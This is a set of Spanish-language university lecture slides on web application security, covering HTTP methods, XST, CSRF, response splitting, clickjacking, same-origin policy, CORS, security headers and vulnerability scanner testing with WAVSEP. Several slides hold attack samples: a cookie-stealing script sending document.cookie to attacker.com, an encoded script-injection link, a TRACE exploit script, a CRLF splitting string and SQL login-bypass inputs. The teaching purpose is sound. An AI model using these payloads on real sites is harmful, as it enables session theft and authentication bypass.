Está en la página 1de 81

Seguridad en Aplicaciones Online

Juan Ramón Bermejo Higuera

Tema2: Seguridad en aplicaciones web


Seguridad protocolo http - test de la seguridad
POLÍTICA DE
SEGURIDAD

PROBLEMAS SEGURIDAD

ESTÁNDARES DE
SEGURIDAD

SEGURIDAD
ANÁLISIS Y TEST DE ONLINE:
SEGRUIDAD
PROBLEMAS HTTP DE LAS APLICACIONES WEB
AUTENTICACIÓN Protección
GESTIÓN DE SESIONES ANÁLISIS ESTÁTICO Monitorización
AUTORIZACIÓN ANÁLISIS DINÁMICO
Auditoría Backups-
ANÁLISIS HÍBRIDO
Recuperación
Respuesta ante
incidentes

2
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Estándares (conocimiento) de SGSI → Política
de seguridad:
▪ IEFT (The Internet Engineering Task Force) https://www.ietf.org/rfc/rfc2196.txt
▪ SEGURIDAD COM. E INF. UNED. Gabriel Díaz Orueta et al.
(tema 6) (documento de referencia del contenido para el tema 2)
▪ ISO-27001 e ISO-27002 http://www.iso27000.es/sgsi.html#home
▪ ITIL http://itilv3.osiatis.es/diseno_servicios_TI/gestion_seguridad_informacion.php
▪ COBIT (ISACA) http://www.isaca.org/COBIT/Pages/COBIT-5-spanish.aspx
▪ ESQUEMA NACIONAL DE SEGURIDAD (ESPAÑA) cni-
ccn https://www.ccn-cert.cni.es/publico/seriesCCN-STIC/series/800-
Esquema_Nacional_de_Seguridad/805-Politica_de_seguridad_del_ENS/805-ENS_politica-
sep11.pdf

NIST SP-800-53 http://en.wikipedia.org/wiki/NIST_Special_Publication_800-53

3
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Seguridad en aplicaciones online
Estándares de seguridad en aplicaciones online

• OWASP
• Top 10
• Cheat Sheets
• ZAP Proxy
• SAMM
• Development Guide
• Testing Guide
• ModSecurity Ruleset (FW)
• Benchmark Project
• Appsensor

Seguridad de aplicaciones online - Juan Ramón Bermejo Higuera 42


Seguridad en aplicaciones online
Estándares de seguridad en aplicaciones online

• WASC

• Distributed Open Proxy Honeypots


• Script Mapping
• Static Analysis Technologies Evaluation Criteria
The Web Security Glossary
• Web Application Firewall Evaluation Criteria
• Web Application Security Scanner
Evaluation Criteria
• Web Application Security Statistics
• Web Hacking Incidents Database
• WASC Threat Classification

Seguridad de aplicaciones online - Juan Ramón Bermejo Higuera 42


Seguridad en aplicaciones online
Estándares de seguridad en aplicaciones online

• SANS

• Top 25 vulnerabilidades
https://www.sans.org/top25-software-errors/

• Recursos
• https://www.sans.org/security-resources/

Seguridad de aplicaciones online - Juan Ramón Bermejo Higuera 42


Seguridad en aplicaciones online
Estándares de seguridad en aplicaciones online

• MITRE

• MITRE CWE

• MITRE CVE

• MITRE CAPEC

• MITRE OVAL
https://oval.mitre.org/repository/data/search/in
dex

• OSVDB Open Sourced Vulnerability Database


http://www.osvdb.org/
Seguridad de aplicaciones online - Juan Ramón Bermejo Higuera 42
Seguridad en aplicaciones online
Estándares de seguridad en aplicaciones online

• NIST
• Guías seguridad SO, servidores web, …
• Ciclo de vida SSDLC SP 800 53 rev4
• Monitorización contínua SP 800 137
• SAMATE → benchmarks evaluación de
herramientas (SRD)
• NVD https://nvd.nist.gov/
• SCAP

• NSA
• Guías de seguridad SGBD,s, LDAP, navegadores
• https://www.iad.gov/iad/library/ia-guidance/security-
configuration/?page=1
• https://www.stigviewer.com/stigs
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera 42
Problemas de seguridad Aplicaciones Web:
Estándares

• WASC (referencia estudio vulnerabilidades asignatura)


• OWASP top ten 2013
• SANS TOP 25 (CWE)
• MITRE CWE (Especificación vulnerabilidades de
seguridad)
• MITRE CVE (vulnerabilidades concretas descubiertas en
aplicaciones)
• MITRE CAPEC (Common Attack Pattern enumeration

8
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Problemas de seguridad en aplicaciones Web:
Características

▪ Públicamente disponibles
▪ Ubicuidad
▪ Puertos: ¿Utilidad de los firewalls de red?
▪ TCP/80 (HTTP) y TCP/443 (HTTPS)
▪ HTTP es un protocolo complejo que permite procesar datos del
usuario
▪ Web 2.0 + complejidad + contenidos
▪ Cambio constante, ¿existen versiones? ¿Gestión de
configuración?

6
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Problemas de seguridad en aplicaciones Web:
Características

• Código propietario y (probablemente) no verificado,


¿código seguro?
• ¿Código de terceros seguro?
• Falta de seguridad en el diseño de HTTP → No existe el
concepto de sesión
• Técnicas de ataque sencillas
• ¡En busca de dinero! (E-commerce / M-commerce)

7
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Problemas de seguridad intrínsecos
Aplicaciones Web
▪ Diseño del protocolo HTTP

▪ Diseño de la aplicación web

▪ Código de la aplicación web → Validar Entradas – salidas →


Framework de desarrollo → librerías externas

▪ Operación de la aplicación web

16
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Problemas de seguridad en aplicaciones Web:

• Características aplicaciones web


• Estándares de seguridad
• Protocolo HTTP
• Debilidades HTTP
HTTP

5
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
HTTP 1.1 rfc 2616

- Protocolo nivel aplicación, puertos 80 – 443

- Protocolo sin estado.

- Problemas mantenimiento del estado de la sesión:


- Identificadores fuertes de sesión
- Terminación de la sesión → renovación ID, s sesión
- Timeouts de sesión

17
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
HTTP 1.1 rfc 2616

- Métodos:
- HEAD
- GET
- POST
- PUT
- DELETE
- TRACE
- OPTIONS
- CONNECT

18
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
HTTP 1.1 rfc 2616: Métodos

- HEAD: Pide una respuesta idéntica a la que


correspondería a una petición GET, pero sin el cuerpo de
la respuesta → ver cabeceras.

- GET: Pide una representación del recurso especificado.


no debería ser usado ya que transmite información a
través de la URI agregando parámetros a la URL.
Ejemplo: GET /images/logo.png HTTP/1.1 obtiene un recurso llamado logo.png.
Ejemplo con parámetros: GET /index.php?page=main&lang=es
19

Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera


HTTP 1.1 rfc 2616: Métodos
- POST: Envia los datos para que sean procesados por el recurso
identificado (url). Los datos se incluirán en el cuerpo de la petición.
Esto puede resultar en la creación de un nuevo recurso o de las
actualizaciones de los recursos existentes o ambas cosas.

- PUT: Sube, carga o realiza un upload de un recurso especificado


(archivo), El método PUT permite escribir un archivo en una conexión
socket establecida con servidor.

Ejemplo:PUT /path/filename.html HTTP/1.1 el

- DELETE: Borra el recurso especificado.

20
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
HTTP 1.1 rfc 2616: Métodos
- TRACE: Este método solicita al servidor que envíe de vuelta en un mensaje
de respuesta. Se utiliza con fines de comprobación y diagnóstico.
- OPTIONS: Devuelve los métodos HTTP que el servidor soporta para un URL
específico. Esto puede ser utilizado para comprobar la funcionalidad de un
servidor web mediante petición en lugar de un recurso específico.
- CONNECT: Se utiliza para saber si se tiene acceso a un host, no
necesariamente la petición llega al servidor, este método se utiliza
principalmente para saber si un proxy nos da acceso a un host.
$ nc -vv www.victima.com 80
victima.com
[127.0.0.1] 80 (www) open
CONNECT mx.mailexample.com:25

HTTP/1.0 HTTP/1.0 200


Connection established 220
mx-example.com SMTP Server
21
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Método trace: vulnerabilidad XST
Petición
TRACE / HTTP/1.1
Host: foo.bar
X-Header: test
Cookie: param=1

Respuesta si TRACE habilitado:


HTTP/1.1 200 OK Debido a que la cookie se convierte
Server: Apache
Content-Type: message/http en parte del cuerpo de la respuesta, y
TRACE / HTTP/1.1 no sólo dentro de document.cookie,
Host: foo.bar
X-Header: test JavaScript puede acceder a los datos
Cookie: param=1
a pesar de ser etiquetados con
HTTPOnly.
→ TraceEnable off (Apache)
RewriteEngine On RewriteCond
%{REQUEST_METHOD} Como beneficio adicional de XST, los
! ^(GET|POST|HEAD) atacantes pueden obtener acceso a
RewriteRule .* - [R=405,L]
las credenciales Basic, Digest y NTLM
→ Web.xml (apache Tomcat) Auth ubicadas en cabeceras de
petición HTTP y por lo general fuera
del alcance de JavaScript.

22
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Método trace: vulnerabilidad XST
Aprovechado por peticiones: XmlHttpRequest en AJAX: saltándose la el
parámetro de protección de la cabecera SET-COOKIE HTTP-ONLY

http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf

<script type=”text/javascript”>
<!--
function sendTrace () {
var xmlHttp = new ActiveXObject(“Microsoft.XMLHTTP”);
xmlHttp.open(“TRACE”, “http://foo.bar”,false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
}
//-->
</script>
<INPUT TYPE=BUTTON OnClick=”sendTrace();” VALUE=”Send Trace Request”>

23
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
HTTP 1.1 rfc 2616: PETICIONES

www.google.es

24
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
HTTP 1.1 rfc 2616: Petición - Respuesta

25
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
HTTP 1.1 rfc 2616: GET

26
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
HTTP 1.1 rfc 2616: POST

27
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
HTTP 1.1 rfc 2616: GET vs POST

GET /csp/login.jsp?usr=bvc&passwd=123 HTTP/1.1


Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/dashboard/home.jsp
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows
NT 5.1;
SV1)
Pragma: no-cache
Connection: keep-alive
Host: www.example.com

28
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
HTTP 1.1 rfc 2616: GET vs POST

- En una petición GET, los parámetros que se incluyen


en la cadena de la URL, pueden ser rutinariamente
escritos a LOG,s cache del navegador y
almacenados en el historial del navegador revelando
información sensible cómo passwords, etc.

- Es más sencillo prevenir XSS deshabilitando GET en


las aplicaciones.

- Para un atacante es más fácil GET enviando emails


con una URL con parámetros maliciosos:
→ www.example.com?... ?...
29
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
HTTP 1.1 rfc 2616: GET vs POST

POST /csp/login.jsp HTTP/1.1


Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
Cookie: brId=3004
Referer: https://www.example.com/dashboard/index.jsp
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1;
SV1)
Content-Type: application/x-www-form-urlencoded
Content-Length: 212
Connection: keep-alive
Host: www.example.com
En BODY
usr=bvc&passwd=123
separados
por CR LF
30
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
HTTP 1.1 rfc 2616: Manejo de errores
→ No se deben usar los HTTP error codes para no
comunicar más información de la necesaria acerca de la
aplicación, lenguaje, plataforma, etc.
→ Usar un error genérico.

→bad error message:

Do not report back information about the


host, the network, DNS information, the
version of the software, internal error
codes, or any specific information about
errors that occur. Do not put error details in
an HTML comment on the error page.

31
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
HTTP 1.1 rfc 2616: Procedencia de peticiones

→ Si la aplicación usa un identificador de sesión (cookie). Formulario


(ADM) para crear usuarios

→Un atacante podría tener un sitio web con:

→ Si el ADM visita el sitio controlado por el atacante… (CSRF)


34
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
HTTP 1.1 rfc 2616: Procedencia de peticiones

→ Incluir algún campo que la aplicación (lado servidor) pueda validar:

35
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
HTTP 1.1 rfc 2616: Procedencia de peticiones
web 2.0 AJAX
→ Incluir algún campo que el cliente pueda validar:

36
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Manipulación de peticiones HTTP: Proxy
Interceptador
- Webscarab
- Paros proxy
- Burp suite
- …

37
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Manipulación de peticiones HTTP: Proxy Int.

38
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Manipulación de peticiones HTTP: Proxy Int.

1. Comprobar el puerto del proxy: TCP/8080

2. Configurar el proxy en el navegador Web

Localhost & puerto TCP (127.0.0.1:8080)

3. Navegar hacia la aplicación Web

4. Analizar y manipular las peticiones y respuestas HTTP

39
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Http response splitting.

However, because the value of the cookie contains unvalidated user input, the response will
maintain this form only if the value submitted for author does not include any CR and LF
characters. If an attacker submits a malicious string, such as Wiley Hacker\r\n\r\nHTTP/1.1 200
OK\r\n..., the HTTP response will be split into two responses of the following form:

40
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Http response splitting: mitigación

▪ Para mitigar →VALIDACION DE ENTRADA de todos los valores usados


como parte de las cabeceras.

▪ SIEMPRE whitelist es preferible a blacklist..

▪ Muchos servidores de aplicaciones realizan blacklisting de HTTP


response splitting blacklisting CR and LF en los métodos que manejan las
cabeceras HTTP.

No confiar en los servidores de aplicación → Mejor whitlisting

42
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Clijacking
Se basa en el juego de capas que se puede conseguir con
HTML e "iframe". Iframe es una técnica para cargar una web
dentro de otra. Clickjacking está basado normalmente en el iframe.

Una web maliciosa (roja, en la figura) debe cargar una web legítima
(gris) delante pero , de forma transparente (con opacidad cero). La
web roja consistirá en un mensaje atractivo, en el que el usuario
desee pinchar. La web legítima será la "víctima" en el sentido de
que el usuario realmente pulsará sobre ella sin quererlo.
• El "style" definirá el ataque.
opacity:0. Vuelve transparente al elemento. Su valor va de 1
(totalmente opaco) a 0, transparente e invisible.
• position: El elemento se coloca en relación a su primera
posición (no estática) elemento antecesor.
• top:0px;left:0px;width:99%;height:95%;margin:0px;paddin
g:0px. Estos parámetros permiten tomar todo el ancho de una
página y que se acople a sus márgenes para que la cubra
totalmente
• z-index:1. Permite que se posicione por delante/encima de
cualquier otro elemento. Si este número se incrementa (puede X-Frame-Options:
valer 100, por ejemplo), se posicionará delante de todo lo que DENY,
tenga un z-index menor. Si el número es negativo, se
posicionará por detrás.
SAMEORIGIN
ALLOW-FROM uri,
46
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Same Origin Policy
Su propósito es impedir que
un script procedente de un
sitio externo pueda acceder al
DOM, datos y cookies de otra
página y que pueda utilizar AJAX
para realizar peticiones
utilizando las cookies y
credenciales que el usuario tiene
activas (bancos, tiendas, correo,
etc).

De esta forma una página


cargada en un iframe o en otra
pestaña del navegador no puede
acceder a tu sesión de Amazon
o del banco que tienes abierta
en otra pestaña. También se
descartan las peticiones AJAX a
un origen diferente.

47
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Same Origin Policy: Si nuestra página original viene desde "http://www.example.com/dir/page.html":

URL Resultado Explicación


http://www.example.com/dir/
page2.html Permitido Mismo protocolo y servidor
http://www.example.com/dir2
/other.html Permitido Mismo protocolo y servidor
http://username:password@ww
w.example.com/dir2/other.htm Permitido Mismo protocolo y servidor
l
http://www.example.com:81/di Mismo protocolo y servidor pero
r/other.html No Permitido
diferente puerto
https://www.example.com/dir/
other.html No Permitido Diferente protocolo
http://en.example.com/dir/ot
her.html No Permitido Diferente servidor
http://example.com/dir/other.
html No Permitido Diferente servidor
http://v2.www.example.com/d
ir/other.html No Permitido Diferente servidor

Puerto por defecto indicado.


http://www.example.com:80/di
Evitar Depende de la implementación
r/other.html del navegador

48
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Same Origin Policy: No todas las interacciones cross-site están prohibidas
▪ No se plantean las mismas restricciones para todos los casos de comunicación. Un
script que se carga desde un sitio mediante la etiqueta <script> tiene acceso sin
límites a toda nuestra aplicación. El SCRIPT no SE EJECUTA EN EL CONTEXTO
del sitio de donde PROVIENE el script , sino en el contexto del SITIO que lo
CARGÓ.

▪ Una página de un dominio diferente que se pide en una etiqueta <iframe> se mostrará
sin problemas, pero se limita su acceso al contenido de la página padre o de otros
iframes.

▪ En general no se limita la inclusión de contenido embebido mediante etiquetas HTML.


Podemos incluir recursos cross-site de diferente tipo:

<script> window.open “http://attacker.com?c=“+document.cookie </script>

<a> href="http://www.site.test/foa.jsp?name=%3Cscript%20src%3D%22
http%3A//example.com/evil.js%22%3E%3C/script%3E">Click here</a

50
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Same Origin Policy: No todas las interacciones cross-site están prohibidas

▪ Código javascript con <script src="..."></script>

▪ CSS con <link rel="stylesheet" href="...">

▪ Imágenes con <img>

▪ ficheros multimedia con <video> o <audio>

▪ plug-ins con <object>, <embed> o <applet>

▪ fonts con @font-face

▪ cualquier contenido con <iframe>

50
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Same Origin Policy y AJAX:
¿De qué me protege la Política del mismo origen?
El objetivo es proteger al usuario que está viendo una página en su ordenador, con su
navegador, de scripts maliciosos que intenten acceder a sus datos o a otros servidores
utilizando sus cookies/credenciales.

Si los navegadores no implementaran la SOP (Same Origin Policy) podría darse


habitualmente el siguiente problema:

1. Inocencio entra en la página de su banco "misEurillos.com".

2. Inocencio abre otra pestaña para entrar en una tienda online a comprar unos caramelos para la tos:
"tengoDeTodo.com".

3. La página de la tienda "tengoDeTodo.com" tiene código JavaScript para intentar robar datos de todos
los clientes que entran. Mediante AJAX, hace peticiones a varios bancos conocidos (incluido
misEurillos.com).

4. El banco responde con los datos de Inocencio porque la petición AJAX incluye automáticamente las
cookies/credenciales que Inocencio tiene aún activas por tener sesión abierta en su banco.

5. El script de la página "tengoDeTodo.com" recibe los datos del banco y se los envía a Malone para
realizar sus fechorías.
49
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Same Origin Policy: Javascript (JSON) hicjacking
→ CAPEC 111

51
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Same Origin Policy: Javascript (JSON) hijacking
→ CAPEC 111

52
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
HTTP 1.1 rfc 2616: Procedencia de peticiones
web 2.0 AJAX → validar todas las peticiones
→ o… Incluir algún campo que el cliente pueda validar:

53
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Headers http de seg. https://www.owasp.org/index.php/List_of_useful_HTTP_headers
Example

HTTP Strict-Transport-Security (HSTS) enforces secure (HTTP over SSL/TLS)


connections to the server. This reduces impact of bugs in web applications
leaking session data through cookies and external links and defends against Man- Strict-Transport-Security: max-age=16070400;
Strict-Transport-Security
in-the-middle attacks. HSTS also disables the ability for user's to ignore SSL includeSubDomains
negotiation warnings.

Provides Clickjacking protection. Values: deny - no rendering within a frame,


sameorigin - no rendering if origin mismatch, allow-from: DOMAIN - allow
X-Frame-Options, Frame-Options X-Frame-Options: deny
rendering if framed by frame loaded from DOMAIN

This header enables the Cross-site scripting (XSS) filter built into most recent web
browsers. It's usually enabled by default anyway, so the role of this header is to
re-enable the filter for this particular website if it was disabled by the user. This
X-XSS-Protection header is supported in IE 8+, and in Chrome (not sure which versions). The anti- X-XSS-Protection: 1; mode=block
XSS filter was added in Chrome 4. Its unknown if that version honored this
header.

The only defined value, "nosniff", prevents Internet Explorer and Google Chrome
from MIME-sniffing a response away from the declared content-type. This also
applies to Google Chrome, when downloading extensions. This reduces exposure X-Content-Type-Options: nosniff
X-Content-Type-Options
to drive-by download attacks and sites serving user uploaded content that, by
clever naming, could be treated by MSIE as executable or dynamic HTML files.

Content Security Policy requires careful tuning and precise definition of the policy.
If enabled, CSP has significant impact on the way browser renders pages (e.g.,
Content-Security-Policy, X-Content-
inline JavaScript disabled by default and must be explicitly allowed in policy). CSP Content-Security-Policy: default-src 'self'
Security-Policy, X-W ebKit-CSP
prevents a wide range of attacks, including Cross-site scripting and other cross-
site injections.

Content-Security-Policy-Report-Only: default-
Like Content-Security-Policy, but only reports. Useful during implementation,
Content-Security-Policy-Report-Only src 'self'; report-uri
tuning and testing efforts.
http://loghost.example.com/reports.jsp
32
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Headers http de seg https://www.owasp.org/index.php/HttpOnly

Set-Cookie: <name>=<value>[; <Max-Age>=<age>] [; expires=<date>][;


domain=<domain_name>] [; path=<some_path>][; secure][; HttpOnly]

▪ Si el parámetro HttpOnly (opcional) está incluido en el encabezado de


respuesta HTTP, la cookie no podrá acceder a través de script del lado
del cliente (si el navegador es compatible con httponly). Como
resultado, incluso si existe una vulnerabilidad cross-site scripting (XSS)
defecto y un usuario accede accidentalmente a un enlace que explota
la vulnerabildad XSS, el navegador no revelaría la cookie a un tercero

Cuidado!!! Aprovechado por peticiones: XmlHttpRequest en AJAX:


saltándose la el parámetro de protección de la cabecera SET-
COOKIE HTTP-ONLY

http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf

33
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Same Origin Policy: CORS

Cabeceras de seguridad: http://www.w3.org/TR/cors/

▪ Access-Control-Allow-Origin Response Header


▪ Access-Control-Allow-Credentials Response Header
▪ Access-Control-Expose-Headers Response Header
▪ Access-Control-Max-Age Response Header
▪ Access-Control-Allow-Methods Response Header
▪ Access-Control-Allow-Headers Response Header
▪ Origin Request Header
▪ Access-Control-Request-Method Request Header
▪ Access-Control-Request-Headers Request Header

54
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
This lets your API server know the method and headers of the request that's about to happen.
Access-Control-Allow-Origin: http://www.example.com Access-Control-Allow-Headers:
Since this is a request that you would wa
Access-Control-Allow-Methods: GET
AUTHORIZATION

Same Origin Policy: CORS


Petición:

OPTIONS /user
Origin: http://www.example.com
Access-Control-Request-Method: GET
Access-Control-Request-Headers: Authorization

Respuesta:

Access-Control-Allow-Origin: http://www.example.com
Access-Control-Allow-Headers: AUTHORIZATION
Access-Control-Allow-Methods: GET

55
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
• “A vulnerable web application designed to
help assessing the features, quality and
accuracy of web application vulnerability
scanners. This evaluation platform contains a
collection of unique vulnerable web pages that
can be used to test the various properties of
web application scanners.”

56
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
▪ 7 different categories of false positive Reflected XSS vulnerabilities (GET & POST )
▪ 10 different categories of false positive SQL Injection vulnerabilities (GET & POST)
▪ 8 different categories of false positive path traversal/LFI vulnerabilities (GET & POST)
▪ 6 different categories of false positive (xss via) remote file inclusion vulnerabilities (GET &
POST)
▪ 9 different categories of false positive unvalidated redirect vulnerabilities (GET & POST)
▪ 3 different behavior categories of false positive old, backup and unreferenced files (GET Only)

57
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
• Installation
• (@) Use a JRE/JDK that was installed using an offline installation (the online installation caused
unknown bugs for some users).
(1) Download & install Apache Tomcat 6.x
(2) Download & install MySQL Community Server 5.5.x (Remember to enable remote root access if
not in the same station as wavsep, and to choose a root password that you remember).
(3) Copy the wavsep.war file into the tomcat webapps directory (Usually "C:\Program Files\Apache
Software Foundation\Tomcat 6.0\webapps" - Windows 32/64 Installer)
(4) Restart the application server
(5) On WinXP, as long as you are using a high privileged user - you can skip this phase, on Win7,
make sure you run the tomcat server with administrative privileges (right click on and execute),and
on Ubuntu Linux, run the following commands:
sudo mkdir /var/lib/tomcat6/db
sudo chown tomcat6:tomcat6 /var/lib/tomcat6/db/
(6) Initiate the install script at: http://localhost:8080/wavsep/wavsep-install/install.jsp
(7) Provide the database host, port and root credentials to the installation script, in additional to
customizable wavsep database user credentials.
(8) Access the application at: http://localhost:8080/wavsep/

58
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
• MySQL 5.5.x database must be installed, before proceeding with the WAVSEP installation process.
The installation should be performed according to the following guidelines:
(A) Install a "clean"" database instance.
(B) Install the database for a Developer Machine, and with Multi-language support.
(C) Leave the installation default choices intact
(unless the mysql server is remote, which will require enabling remote root login for the installation
process to work).
(D) It's best to install the mysql server in the same host as the wavsep application (only tested locally)

Installation
Provide the username and password of the root database user (mysql):
username: root
password:
host: localhost
port: 3306
wavsep_username (optional - set to default if left empty):
wavsep_password (optional - set to default if left empty):
SUBMIT
59
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
• Por un lado, se compone de casos de test diseñados cada uno con una vulnerabilidad
concreta como SQLI por ejemplo. Se trata de identificar para los casos que se pide (NO
TODOS) SI LAS HERRAMIENTAS LAS DETECTAN. Una vulnerabilidad detectada cuando
realmente existe es un VERDADERO POSITIVO.
• Por otro lado, WAVSEP tiene también casos de test para FALSOS POSITIVOS, que son
versiones de algunos de los casos de test con las vulnerabilidades corregidas, es decir, no
tienen vulnerabilidades. Un caso de test de FALSO POSITIVO con una vulnerabilidad de
SQLI CORREGIDA no debería ser detectada por las herramientas, si la herramienta da una
alerta de SQLI está errando en la detección y por tanto es un FALSO POSITIVO.

60
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
http://localhost:8080/wavsep/

• Welcome to WAVSEP - The Web Application Vulnerability Scanner Evaluation Project


• Version: 1.5

The index page of the project intentionally lacks links and forms.
Please access the following index pages to perform specific tests:
index-active.jspindex-passive.jspactive/index-xss.jsp
active/index-sql.jsp
active/index-lfi.jsp
active/index-rfi.jsp
active/index-redirect.jsp
active/index-obsolete.jsp
active/index-false.jsp
passive/index-info.jsp
passive/index-session.jsp

61
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
• Injection Test Cases - HTTP 500 Erroneous Responses:
Case01-InjectionInLogin-String-LoginBypass-WithErrors.jsp
Injection into string values in the scope of a query within a login page with erroneous responses.
Barriers:
None
SQL Statement Context:
SELECT (WHERE Clause)
Sample Exploit Structures: USER=“pepe” AND password=“asdfg”
'or'[value]'='[value]
'or [value]=[value][comment][space]
Examples of Login Bypass Exploits:
Exploit (both input fields): 'or'7'='7 USER=“ 'or'7'='7” AND password=“
Independent Exploit 1: ' or 7=7-- 'or'7'='7”
Independent Exploit 2: ' or 7=7#
Independent Exploit 3: ' or 7=7/*

62
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
• Unvalidated Redirect Test Cases - POST - HTTP 302 Redirect Responses:

Case01-Redirect-RedirectMethod-FilenameContext-Unrestricted-HttpURL-DefaultFullInput-
AnyPathReq-Read.jsp
Unvalidated Redirect attack: injection into a filename/url context, using an unrestricted HTTP URL,
default full path input, without path requirements.
File Access Method:Barriers:
Default Input:Path Type:File Injection Context:Prefix Requirement:Valid Response
Stream:Initial Response Type:Redirect NoneFull Path InputHTTP URLInjection Into: Full
Filename
Relative Path: Application Root Folder
Full Path: SupportedAny Prefix
(Full Path / Relative Path / None / Partial Path)Text/Html302 RedirectSample Detection Structures:
http://[external-domain]:[port]/[path]/[file].[extension] (success)
or https://[external-domain]:[port]/[path]/[file].[extension] (success)
vs. [invalid URL/filename] (custom failure/404) Sample Exploit Structures: Web: http://[external-
domain]:[port]/[path to malicious XSS/Phishing/CSRF/Clickjacking file]
Examples of Exploits: Independent Exploit 1: http://www.google.com
Independent Exploit 2: https://www.google.com
63
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Evaluación de la seguridad: OWASP TESTING GUIDE
https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents

64
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Evaluación de la seguridad: OWASP TESTING GUIDE
https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents

4.1 Introduction and Objectives


4.2 Information Gathering
4.3 Configuration and Deployment Management Testing
4.4 Identity Management Testing
4.5 Authentication Testing
4.6 Authorization Testing
4.7 Session Management Testing
4.8 Input Validation Testing
4.9 Testing for Error Handling
4.10 Testing for weak Cryptography
4.11 Business Logic Testing
4.12 Client Side Testing

65
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Evaluación de la seguridad:
Tipos de herramientas de análisis de la seguridad

▪ Derivacion de requisitos de seguridad: Square http://www.cert.org/cybersecurity-


engineering/products-services/square.cfm?

▪ Modelado de amenazas – casos de abuso: UMLSec, STRIDE


▪ Análisis de riesgos: PILAR (Magerit)
▪ Análisis estático de código (SAST): SCA HP-Fortify, Checkmarx (caja blanca)
▪ Análisis dinámico (caja negra → DAST) : Scanners automáticos de
vulnerabilidades web → OWASP ZAP
▪ Análisis dinámico (caja blanca → IAST, RAST, RASP): SEKEER
▪ Análisis híbrido SAST-DAST-IAST...→ FUTURO

66
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Evaluación de la seguridad: DAST

Fuente: SAMATE NIST Project, Scanners de vulnerabilidades

67
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Evaluación de la seguridad: DAST, características
Los scanners automáticos tienen sus limitaciones y pueden detectar un conjunto de
vulnerabilidades debido a su naturaleza. Por ejemplo, son capaces de detectar
vulnerabilidades como :
– XSS.
– SQLI.
– PATH TRANSVERSAL. LOCAL FILE INCLUSION (LFI)
– COMMAND INJECTION.
– DEFECTOS DE CONFIGURACIÓN.
– PROBLEMAS RELACIONADOS CON JAVASCRIPT.
– REMOTE FILE INCLUSION (RFI)
– XPATH INJECTION.
– HTTP RESPONSE SPLITING.
– OPEN REDIRECT

Debido a que realizan un análisis sintáctico de la aplicación, no pueden comprender


la semántica de varios parámetros en su conjunto que pueden esconder un intento de
ataque
Lista de herramientas:
http://projects.webappsec.org/w/page/13246988/Web%20Application%20Security%20S
canner%20List
68
